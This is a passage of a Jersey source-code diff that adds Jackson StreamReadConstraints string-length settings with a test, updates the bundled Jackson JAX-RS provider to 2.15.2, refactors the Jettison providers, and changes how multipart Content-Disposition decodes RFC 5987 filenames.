    + * @param maxStringLength the integer value to override the default Jackson's + * {@link StreamReadConstraints#DEFAULT_MAX_STRING_LEN}. + * @return JacksonFeature that has the Jackson's {@link StreamReadConstraints#DEFAULT_MAX_STRING_LEN} set. + */ + public JacksonFeature maxStringLength(int maxStringLength) { + this.maxStringLength = maxStringLength; + return this; + } + private static final String JSON_FEATURE = JacksonFeature.class.getSimpleName(); @Override @@ -108,6 +134,10 @@ public boolean configure(final FeatureContext context) { } } + if (config.getProperty(MessageProperties.JSON_MAX_STRING_LENGTH) == null) { + context.property(MessageProperties.JSON_MAX_STRING_LENGTH, maxStringLength); + } + return true; } } diff --git a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/DefaultJacksonJaxbJsonProvider.java b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/DefaultJacksonJaxbJsonProvider.java index 393522d4f3..f7154074c7 100644 --- a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/DefaultJacksonJaxbJsonProvider.java +++ b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/DefaultJacksonJaxbJsonProvider.java @@ -16,14 +16,23 @@ package org.glassfish.jersey.jackson.internal; +import com.fasterxml.jackson.core.JsonFactory; +import com.fasterxml.jackson.core.StreamReadConstraints; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.Module; +import com.fasterxml.jackson.databind.ObjectReader; import org.glassfish.jersey.CommonProperties; +import org.glassfish.jersey.internal.util.PropertiesHelper; +import org.glassfish.jersey.jackson.LocalizationMessages; import org.glassfish.jersey.jackson.internal.jackson.jaxrs.cfg.Annotations; import org.glassfish.jersey.jackson.internal.jackson.jaxrs.json.JacksonJaxbJsonProvider; +import org.glassfish.jersey.jackson.internal.jackson.jaxrs.json.JsonEndpointConfig; +import org.glassfish.jersey.message.MessageProperties; +import java.lang.annotation.Annotation; import java.util.Arrays; import java.util.List; +import java.util.logging.Logger; import jakarta.annotation.PostConstruct; import jakarta.inject.Inject; import jakarta.inject.Singleton; @@ -37,6 +46,7 @@ @Singleton public class DefaultJacksonJaxbJsonProvider extends JacksonJaxbJsonProvider { private Configuration commonConfig; + private static final Logger LOGGER = Logger.getLogger(DefaultJacksonJaxbJsonProvider.class.getName()); @Inject public DefaultJacksonJaxbJsonProvider(@Context Providers providers, @Context Configuration config) { @@ -58,6 +68,18 @@ public DefaultJacksonJaxbJsonProvider(Providers providers, Configuration config, _providers = providers; } + @Override + protected JsonEndpointConfig _configForReading(ObjectReader reader, Annotation[] annotations) { + try { + updateFactoryConstraints(reader.getFactory()); + } catch (Throwable t) { + // A Jackson 14 would throw NoSuchMethodError, ClassNotFoundException, NoClassDefFoundError or similar + // that should have been ignored + LOGGER.warning(LocalizationMessages.ERROR_JACKSON_STREAMREADCONSTRAINTS(t.getMessage())); + } + return super._configForReading(reader, annotations); + } + @PostConstruct private void findAndRegisterModules() { @@ -97,4 +119,21 @@ private List filterModules() { return modules; } + + private void updateFactoryConstraints(JsonFactory jsonFactory) { + // Priorities 1. property, 2.JacksonFeature#maxStringLength, 3.jsonFactoryValue + final Object maxStringLengthObject = commonConfig.getProperty(MessageProperties.JSON_MAX_STRING_LENGTH); + final Integer maxStringLength = PropertiesHelper.convertValue(maxStringLengthObject, Integer.class); + + if (maxStringLength != StreamReadConstraints.DEFAULT_MAX_STRING_LEN) { + final StreamReadConstraints constraints = jsonFactory.streamReadConstraints(); + jsonFactory.setStreamReadConstraints( + StreamReadConstraints.builder() + .maxStringLength(maxStringLength) + .maxNestingDepth(constraints.getMaxNestingDepth()) + .maxNumberLength(constraints.getMaxNumberLength()) + .build() + ); + } + } } \ No newline at end of file diff --git a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/annotation/package-info.java b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/annotation/package-info.java new file mode 100644 index 0000000000..0451a47855 --- /dev/null +++ b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/annotation/package-info.java @@ -0,0 +1,12 @@ +/** + * Package that contains annotations applicable to all content types. + * Currently defined are: + *
      + *
    • {@link org.glassfish.jersey.jackson.internal.jackson.jaxrs.annotation.JacksonFeatures} allows + * enabling and/or disabling {@link com.fasterxml.jackson.databind.DeserializationFeature}s + * and {@link com.fasterxml.jackson.databind.SerializationFeature}s for individual + * endpoints. + *
    • + *
    + */ +package org.glassfish.jersey.jackson.internal.jackson.jaxrs.annotation; diff --git a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/base/ProviderBase.java b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/base/ProviderBase.java index ae76ca4d57..ecdfbaea13 100644 --- a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/base/ProviderBase.java +++ b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/base/ProviderBase.java @@ -486,6 +486,9 @@ protected EP_CONFIG _configForReading(MAPPER mapper, } else { r = mapper.reader(); } + if (JaxRSFeature.READ_FULL_STREAM.enabledIn(_jaxRSFeatures)) { + r = r.withFeatures(DeserializationFeature.FAIL_ON_TRAILING_TOKENS); + } return _configForReading(r, annotations); } @@ -703,19 +706,14 @@ protected EP_CONFIG _endpointForWriting(Object value, Class type, Type generi return _configForWriting(locateMapper(type, mediaType), annotations, _defaultWriteView); } - EP_CONFIG endpoint; AnnotationBundleKey key = new AnnotationBundleKey(annotations, type); - synchronized (_writers) { - endpoint = _writers.get(key); - } + EP_CONFIG endpoint = _writers.get(key); // not yet resolved (or not cached any more)? Resolve! if (endpoint == null) { MAPPER mapper = locateMapper(type, mediaType); endpoint = _configForWriting(mapper, annotations, _defaultWriteView); // and cache for future reuse - synchronized (_writers) { - _writers.put(key.immutableKey(), endpoint); - } + _writers.put(key.immutableKey(), endpoint); } return endpoint; } @@ -864,19 +862,14 @@ protected EP_CONFIG _endpointForReading(Class type, Type genericType, An return _configForReading(locateMapper(type, mediaType), annotations, _defaultReadView); } - EP_CONFIG endpoint; AnnotationBundleKey key = new AnnotationBundleKey(annotations, type); - synchronized (_readers) { - endpoint = _readers.get(key); - } + EP_CONFIG endpoint = _readers.get(key); // not yet resolved (or not cached any more)? Resolve! if (endpoint == null) { MAPPER mapper = locateMapper(type, mediaType); endpoint = _configForReading(mapper, annotations, _defaultReadView); // and cache for future reuse - synchronized (_readers) { - _readers.put(key.immutableKey(), endpoint); - } + _readers.put(key.immutableKey(), endpoint); } return endpoint; } diff --git a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/cfg/JaxRSFeature.java b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/cfg/JaxRSFeature.java index 524a881420..6f864c912c 100644 --- a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/cfg/JaxRSFeature.java +++ b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/cfg/JaxRSFeature.java @@ -27,6 +27,19 @@ public enum JaxRSFeature implements ConfigFeature */ ALLOW_EMPTY_INPUT(true), + /** + * For HTTP keep-alive or multipart content to work correctly, Jackson must read the entire HTTP input + * stream up until reading EOF (-1). + * Issue #108 + * If set to true, always consume all input content. This has a side-effect of failing on trailing content. + *

    + * Feature is enabled by default. + * Note that this means that behavior in earlier versions + * (2.14 and before) differs from 2.15 and later. + * + * @since 2.15 + */ + READ_FULL_STREAM(true), /* /********************************************************** /* HTTP headers diff --git a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/json/PackageVersion.java b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/json/PackageVersion.java index 86f1fad8f6..c5952b6bb1 100644 --- a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/json/PackageVersion.java +++ b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/json/PackageVersion.java @@ -11,7 +11,7 @@ */ public final class PackageVersion implements Versioned { public final static Version VERSION = VersionUtil.parseVersion( - "2.14.1", "com.fasterxml.jackson.jaxrs", "jackson-jaxrs-json-provider"); + "2.15.2", "com.fasterxml.jackson.jaxrs", "jackson-jaxrs-json-provider"); @Override public Version version() { diff --git a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/json/annotation/package-info.java b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/json/annotation/package-info.java new file mode 100644 index 0000000000..04b489254d --- /dev/null +++ b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/json/annotation/package-info.java @@ -0,0 +1,9 @@ +/** + * Package that contains annotations specific to JSON dataformat. + *

    + * NOTE: starting with version 2.2, general-purpose annotations + * will be moved to a shared package, and this package will only + * contains JSON-specific annotations. + */ +package org.glassfish.jersey.jackson.internal.jackson.jaxrs.json.annotation; + diff --git a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/json/package-info.java b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/json/package-info.java new file mode 100644 index 0000000000..2a260b50aa --- /dev/null +++ b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/json/package-info.java @@ -0,0 +1,21 @@ +/** + * Jackson-based JAX-RS provider that can automatically + * serialize and deserialize resources for + * JSON content type (MediaType). + *

    + * Also continues supporting functionality, such as + * exception mappers that can simplify handling of + * error conditions. + *

    + * There are two default provider classes: + *

      + *
    • {@link org.glassfish.jersey.jackson.internal.jackson.jaxrs.json.JacksonJsonProvider} is the basic + * provider configured to use Jackson annotations + *
    • + *
    • {@link org.glassfish.jersey.jackson.internal.jackson.jaxrs.json.JacksonJaxbJsonProvider} is extension + * of the basic provider, configured to additionally use JAXB annotations, + * in addition to (or in addition of, if so configured) Jackson annotations. + *
    • + *
    + */ +package org.glassfish.jersey.jackson.internal.jackson.jaxrs.json; diff --git a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/util/package-info.java b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/util/package-info.java new file mode 100644 index 0000000000..4ec091c071 --- /dev/null +++ b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/util/package-info.java @@ -0,0 +1,4 @@ +/** + * Miscellaneous helper classes used by providers. + */ +package com.fasterxml.jackson.jaxrs.util; diff --git a/media/json-jackson/src/main/resources/META-INF/NOTICE.markdown b/media/json-jackson/src/main/resources/META-INF/NOTICE.markdown index e08c16d621..027575cb09 100644 --- a/media/json-jackson/src/main/resources/META-INF/NOTICE.markdown +++ b/media/json-jackson/src/main/resources/META-INF/NOTICE.markdown @@ -31,7 +31,7 @@ The project maintains the following source code repositories: ## Third-party Content -Jackson JAX-RS Providers version 2.14.1 +Jackson JAX-RS Providers version 2.15.2 * License: Apache License, 2.0 * Project: https://github.com/FasterXML/jackson-jaxrs-providers -* Copyright: (c) 2009-2022 FasterXML, LLC. All rights reserved unless otherwise indicated. +* Copyright: (c) 2009-2023 FasterXML, LLC. All rights reserved unless otherwise indicated. diff --git a/media/json-jackson/src/main/resources/org/glassfish/jersey/jackson/localization.properties b/media/json-jackson/src/main/resources/org/glassfish/jersey/jackson/localization.properties new file mode 100644 index 0000000000..f8b59da71c --- /dev/null +++ b/media/json-jackson/src/main/resources/org/glassfish/jersey/jackson/localization.properties @@ -0,0 +1,17 @@ +# +# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. +# +# This program and the accompanying materials are made available under the +# terms of the Eclipse Public License v. 2.0, which is available at +# http://www.eclipse.org/legal/epl-2.0. +# +# This Source Code may also be made available under the following Secondary +# Licenses when the conditions for such availability set forth in the +# Eclipse Public License v. 2.0 are satisfied: GNU General Public License, +# version 2 with the GNU Classpath Exception, which is available at +# https://www.gnu.org/software/classpath/license.html. +# +# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 +# + +error.jackson.streamreadconstraints=Error setting StreamReadConstraints: {0}. Possibly not Jackson 2.15? \ No newline at end of file diff --git a/media/json-jackson/src/test/java/org/glassfish/jersey/jackson/internal/StreamReadConstrainsTest.java b/media/json-jackson/src/test/java/org/glassfish/jersey/jackson/internal/StreamReadConstrainsTest.java new file mode 100644 index 0000000000..925c17ee89 --- /dev/null +++ b/media/json-jackson/src/test/java/org/glassfish/jersey/jackson/internal/StreamReadConstrainsTest.java @@ -0,0 +1,212 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jackson.internal; + +import com.fasterxml.jackson.annotation.JsonGetter; +import com.fasterxml.jackson.core.JsonFactory; +import com.fasterxml.jackson.core.StreamReadConstraints; +import com.fasterxml.jackson.core.exc.StreamConstraintsException; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.Module; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.node.TextNode; +import jakarta.ws.rs.Consumes; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.ext.ContextResolver; +import jakarta.ws.rs.ext.ExceptionMapper; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.jackson.JacksonFeature; +import org.glassfish.jersey.message.MessageProperties; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +import java.lang.reflect.Method; +import java.util.List; + +public class StreamReadConstrainsTest extends JerseyTest { + + @Override + protected final Application configure() { + return new ResourceConfig(TestLengthResource.class, + MyStreamReadConstraints.class, + MyStreamReadConstraintsExceptionMapper.class); + } + + @Override + protected void configureClient(ClientConfig config) { + config.register(JacksonFeature.class); + } + + @Test + void testNumberLength() { + try (Response response = target("len/entity").request() + .header(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON) + .accept(MediaType.APPLICATION_JSON_TYPE) + .post(Entity.entity(new MyEntity(3), MediaType.APPLICATION_JSON_TYPE))) { + Assertions.assertEquals(200, response.getStatus()); + JsonNode entity = response.readEntity(JsonNode.class); + Assertions.assertEquals("1234", entity.get("value").asText()); + } + + try (Response response = target("len/entity").request() + .post(Entity.entity(new MyEntity(8), MediaType.APPLICATION_JSON_TYPE))) { + Assertions.assertEquals(200, response.getStatus()); + String errorMsg = response.readEntity(String.class); + Assertions.assertTrue(errorMsg.contains("maximum length (4)")); + } + } + + @Test + void testStringLengthUsingProperty() { + testConstraintOnClient( + client() + .property(MessageProperties.JSON_MAX_STRING_LENGTH, 4) + .target(getBaseUri()) + .path("len/strlen"), + 4 + ); + } + + @Test + void testStringLengthPriorityProperty() { + testConstraintOnClient( + ClientBuilder.newClient() + .register(JacksonFeature.withExceptionMappers().maxStringLength(30)) + .property(MessageProperties.JSON_MAX_STRING_LENGTH, "3" /* check string value */) + .target(getBaseUri()).path("len/strlen"), + 3); + } + + @Test + void testStringLengthUsingFeature() { + testConstraintOnClient( + ClientBuilder.newClient() + .register(JacksonFeature.withExceptionMappers().maxStringLength(3)) + .target(getBaseUri()) + .path("len/strlen"), + 3 + ); + } + + void testConstraintOnClient(WebTarget target, int expectedLength) { + try (Response response = target.request().post(Entity.entity(expectedLength + 1, MediaType.APPLICATION_JSON_TYPE))) { + Assertions.assertEquals(200, response.getStatus()); + + JsonNode errorMsg = response.readEntity(JsonNode.class); + Assertions.fail("StreamConstraintsException has not been thrown"); + } catch (ProcessingException ex) { + if (!StreamConstraintsException.class.isInstance(ex.getCause())) { + throw ex; + } + String errorMsg = ex.getCause().getMessage(); + Assertions.assertTrue(errorMsg.contains("maximum length (" + String.valueOf(expectedLength) + ")")); + } + } + + + + @Test + void testStreamReadConstraintsMethods() { + String message = "There are additional methods in Jackson's StreamReaderConstraints.Builder." + + " Please update the code in " + DefaultJacksonJaxbJsonProvider.class.getName() + + " updateFactoryConstraints method"; + Method[] method = StreamReadConstraints.Builder.class.getDeclaredMethods(); + Assertions.assertEquals(4, method.length, message); // three max + build methods + } + + @Path("len") + public static class TestLengthResource { + @POST + @Path("number") + @Produces(MediaType.APPLICATION_JSON) + public MyEntity number(int len) { + return new MyEntity(len); + } + + @POST + @Path("strlen") + @Produces(MediaType.APPLICATION_JSON) + public JsonNode string(int len) { + return new TextNode(String.valueOf(new MyEntity(len).getValue())); + } + + + @POST + @Path("entity") + @Produces(MediaType.APPLICATION_JSON) + @Consumes(MediaType.APPLICATION_JSON) + public MyEntity number(MyEntity entity) { + return new MyEntity(4); + } + } + + static class MyEntity { + + private int value; + + // For Jackson + MyEntity() { + } + + MyEntity(int length) { + int val = 0; + for (int i = 1, j = 1; i != length + 1; i++, j++) { + if (j == 10) { + j = 0; + } + val = 10 * val + j; + } + this.value = val; + } + + @JsonGetter("value") + public int getValue() { + return value; + } + } + + static class MyStreamReadConstraintsExceptionMapper implements ExceptionMapper { + + @Override + public Response toResponse(StreamConstraintsException exception) { + return Response.ok().entity(exception.getMessage()).build(); + } + } + + static class MyStreamReadConstraints implements ContextResolver { + + @Override + public ObjectMapper getContext(Class type) { + final List modules = ObjectMapper.findModules(); + return new ObjectMapper(JsonFactory.builder().streamReadConstraints( + StreamReadConstraints.builder().maxNumberLength(4).build() + ).build()).registerModules(modules); + } + } +} diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonArrayProvider.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonArrayProvider.java index 119ebd237a..1a15641605 100644 --- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonArrayProvider.java +++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonArrayProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -33,6 +33,7 @@ import org.codehaus.jettison.json.JSONArray; import org.codehaus.jettison.json.JSONException; +import org.glassfish.jersey.message.internal.ReaderWriter; /** * Low-level JSON media type message entity provider (reader & writer) for @@ -70,7 +71,7 @@ public JSONArray readFrom( MultivaluedMap httpHeaders, InputStream entityStream) throws IOException { try { - return new JSONArray(readFromAsString(entityStream, mediaType)); + return new JSONArray(ReaderWriter.readFromAsString(entityStream, mediaType)); } catch (JSONException je) { throw new WebApplicationException( new Exception(LocalizationMessages.ERROR_PARSING_JSON_ARRAY(), je), @@ -89,7 +90,7 @@ public void writeTo( OutputStream entityStream) throws IOException { try { OutputStreamWriter writer = new OutputStreamWriter(entityStream, - getCharset(mediaType)); + ReaderWriter.getCharset(mediaType)); t.write(writer); writer.write("\n"); writer.flush(); diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonJaxbElementProvider.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonJaxbElementProvider.java index 554feff896..4e7d7d78c0 100644 --- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonJaxbElementProvider.java +++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonJaxbElementProvider.java @@ -40,6 +40,7 @@ import org.glassfish.jersey.jaxb.internal.AbstractJaxbElementProvider; import org.glassfish.jersey.jettison.JettisonJaxbContext; import org.glassfish.jersey.jettison.JettisonMarshaller; +import org.glassfish.jersey.message.internal.ReaderWriter; /** * JSON message entity media type provider (reader & writer) for {@link jakarta.xml.bind.JAXBElement} @@ -95,7 +96,7 @@ protected boolean isSupported(MediaType m) { @Override protected final JAXBElement readFrom(Class type, MediaType mediaType, Unmarshaller unmarshaller, InputStream entityStream) throws JAXBException { - final Charset c = getCharset(mediaType); + final Charset c = ReaderWriter.getCharset(mediaType); return JettisonJaxbContext.getJSONUnmarshaller(unmarshaller) .unmarshalJAXBElementFromJSON(new InputStreamReader(entityStream, c), type); diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonListElementProvider.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonListElementProvider.java index 15799fd701..e1c3dbdf1c 100644 --- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonListElementProvider.java +++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonListElementProvider.java @@ -47,6 +47,7 @@ import org.glassfish.jersey.jettison.JettisonConfig; import org.glassfish.jersey.jettison.JettisonConfigured; import org.glassfish.jersey.jettison.internal.Stax2JettisonFactory; +import org.glassfish.jersey.message.internal.ReaderWriter; /** * JSON message entity media type provider (reader & writer) for collection @@ -132,7 +133,7 @@ public final void writeCollection(Class elementType, Collection t, MediaTy protected final XMLStreamReader getXMLStreamReader(Class elementType, MediaType mediaType, Unmarshaller u, InputStream entityStream) throws XMLStreamException { JettisonConfig c = JettisonConfig.DEFAULT; - final Charset charset = getCharset(mediaType); + final Charset charset = ReaderWriter.getCharset(mediaType); if (u instanceof JettisonConfigured) { c = ((JettisonConfigured) u).getJSONConfiguration(); } diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonObjectProvider.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonObjectProvider.java index 7cb26ed9eb..2f4eaec3e5 100644 --- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonObjectProvider.java +++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonObjectProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -33,6 +33,7 @@ import org.codehaus.jettison.json.JSONException; import org.codehaus.jettison.json.JSONObject; +import org.glassfish.jersey.message.internal.ReaderWriter; /** * Low-level JSON media type message entity provider (reader & writer) for @@ -70,7 +71,7 @@ public JSONObject readFrom( MultivaluedMap httpHeaders, InputStream entityStream) throws IOException { try { - return new JSONObject(readFromAsString(entityStream, mediaType)); + return new JSONObject(ReaderWriter.readFromAsString(entityStream, mediaType)); } catch (JSONException je) { throw new WebApplicationException( new Exception(LocalizationMessages.ERROR_PARSING_JSON_OBJECT(), je), @@ -89,7 +90,7 @@ public void writeTo( OutputStream entityStream) throws IOException { try { OutputStreamWriter writer = new OutputStreamWriter(entityStream, - getCharset(mediaType)); + ReaderWriter.getCharset(mediaType)); t.write(writer); writer.flush(); } catch (JSONException je) { diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonRootElementProvider.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonRootElementProvider.java index a581ca866e..cdbec6a059 100644 --- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonRootElementProvider.java +++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonRootElementProvider.java @@ -39,6 +39,7 @@ import org.glassfish.jersey.jaxb.internal.AbstractRootElementJaxbProvider; import org.glassfish.jersey.jettison.JettisonJaxbContext; import org.glassfish.jersey.jettison.JettisonMarshaller; +import org.glassfish.jersey.message.internal.ReaderWriter; /** * JSON message entity media type provider (reader & writer) for JAXB types that @@ -94,7 +95,7 @@ protected boolean isSupported(MediaType m) { @Override protected final Object readFrom(Class type, MediaType mediaType, Unmarshaller u, InputStream entityStream) throws JAXBException { - final Charset c = getCharset(mediaType); + final Charset c = ReaderWriter.getCharset(mediaType); return JettisonJaxbContext.getJSONUnmarshaller(u) .unmarshalFromJSON(new InputStreamReader(entityStream, c), type); diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/ContentDisposition.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/ContentDisposition.java index 3d71203ef8..f95d521be7 100644 --- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/ContentDisposition.java +++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/ContentDisposition.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -23,10 +23,13 @@ import java.util.regex.Matcher; import java.util.regex.Pattern; +import org.glassfish.jersey.media.multipart.internal.LocalizationMessages; import org.glassfish.jersey.message.internal.HttpDateFormat; import org.glassfish.jersey.message.internal.HttpHeaderReader; import org.glassfish.jersey.uri.UriComponent; +import jakarta.ws.rs.core.HttpHeaders; + /** * A content disposition header. * @@ -43,6 +46,7 @@ public class ContentDisposition { private Date modificationDate; private Date readDate; private long size; + private boolean encoded; // received encoded by filename*= private static final String CHARSET_GROUP_NAME = "charset"; private static final String CHARSET_REGEX = "(?<" + CHARSET_GROUP_NAME + ">[^']+)"; @@ -65,6 +69,7 @@ protected ContentDisposition(final String type, final String fileName, final Dat this.readDate = readDate; this.size = size; this.parameters = Collections.emptyMap(); + this.encoded = false; } public ContentDisposition(final String header) throws ParseException { @@ -110,12 +115,23 @@ public Map getParameters() { } /** - * Get the filename parameter. + * Get the filename parameter. Automatically decodes RFC 5987 extended filename*= to be human-readable. * - * @return the size + * @return the file name */ public String getFileName() { - return fileName; + return getFileName(true); + } + + /** + * Get the filename parameter. If the RFC 5987 extended filename*= is received in Content-Disposition, its encoded + * value can be decoded to be human-readable. + * + * @param decodeExtended decode the filename* to be human-readable when {@code true} + * @return the filename or the RFC 5987 extended filename + */ + public String getFileName(boolean decodeExtended) { + return encoded && decodeExtended ? decodeFromUriFormat(fileName) : fileName; } /** @@ -196,7 +212,7 @@ protected void addLongParameter(final StringBuilder sb, final String name, final } private void createParameters() throws ParseException { - fileName = defineFileName(); + defineFileName(); creationDate = createDate("creation-date"); @@ -207,46 +223,59 @@ private void createParameters() throws ParseException { size = createLong("size"); } - private String defineFileName() throws ParseException { - + private void defineFileName() throws ParseException { + encoded = false; final String fileName = parameters.get("filename"); final String fileNameExt = parameters.get("filename*"); if (fileNameExt == null) { - return fileName; + this.fileName = fileName; + return; } final Matcher matcher = FILENAME_EXT_VALUE_PATTERN.matcher(fileNameExt); if (matcher.matches()) { + encoded = true; final String fileNameValueChars = matcher.group(FILENAME_GROUP_NAME); if (isFilenameValueCharsEncoded(fileNameValueChars)) { - return fileNameExt; - } - - final String charset = matcher.group(CHARSET_GROUP_NAME); - if (matcher.group(CHARSET_GROUP_NAME).equalsIgnoreCase("UTF-8")) { - final String language = matcher.group(LANG_GROUP_NAME); - return new StringBuilder(charset) - .append("'") - .append(language == null ? "" : language) - .append("'") - .append(encodeToUriFormat(fileNameValueChars)) - .toString(); + this.fileName = fileNameExt; } else { - throw new ParseException(charset + " charset is not supported", 0); + + final String charset = matcher.group(CHARSET_GROUP_NAME); + if (charset.equalsIgnoreCase("UTF-8")) { + final String language = matcher.group(LANG_GROUP_NAME); + this.fileName = new StringBuilder(charset) + .append("'") + .append(language == null ? "" : language) + .append("'") + .append(encodeToUriFormat(fileNameValueChars)) + .toString(); + } else { + throw new ParseException(LocalizationMessages.ERROR_CHARSET_UNSUPPORTED(charset), 0); + } } + } else { + throw new ParseException(LocalizationMessages.ERROR_FILENAME_UNSUPPORTED(fileNameExt), 0); } + } - throw new ParseException(fileNameExt + " - unsupported filename parameter", 0); + private static String decodeFromUriFormat(String parameter) { + final Matcher matcher = FILENAME_EXT_VALUE_PATTERN.matcher(parameter); + if (matcher.matches()) { + final String fileNameValueChars = matcher.group(FILENAME_GROUP_NAME); + return UriComponent.decode(fileNameValueChars, UriComponent.Type.UNRESERVED); + } else { + return parameter; + } } - private String encodeToUriFormat(final String parameter) { + private static String encodeToUriFormat(final String parameter) { return UriComponent.contextualEncode(parameter, UriComponent.Type.UNRESERVED); } - private boolean isFilenameValueCharsEncoded(final String parameter) { + private static boolean isFilenameValueCharsEncoded(final String parameter) { return FILENAME_VALUE_CHARS_PATTERN.matcher(parameter).matches(); } diff --git a/media/multipart/src/main/resources/org/glassfish/jersey/media/multipart/internal/localization.properties b/media/multipart/src/main/resources/org/glassfish/jersey/media/multipart/internal/localization.properties index 851c026061..8a7b4ba302 100644 --- a/media/multipart/src/main/resources/org/glassfish/jersey/media/multipart/internal/localization.properties +++ b/media/multipart/src/main/resources/org/glassfish/jersey/media/multipart/internal/localization.properties @@ -1,5 +1,5 @@ # -# 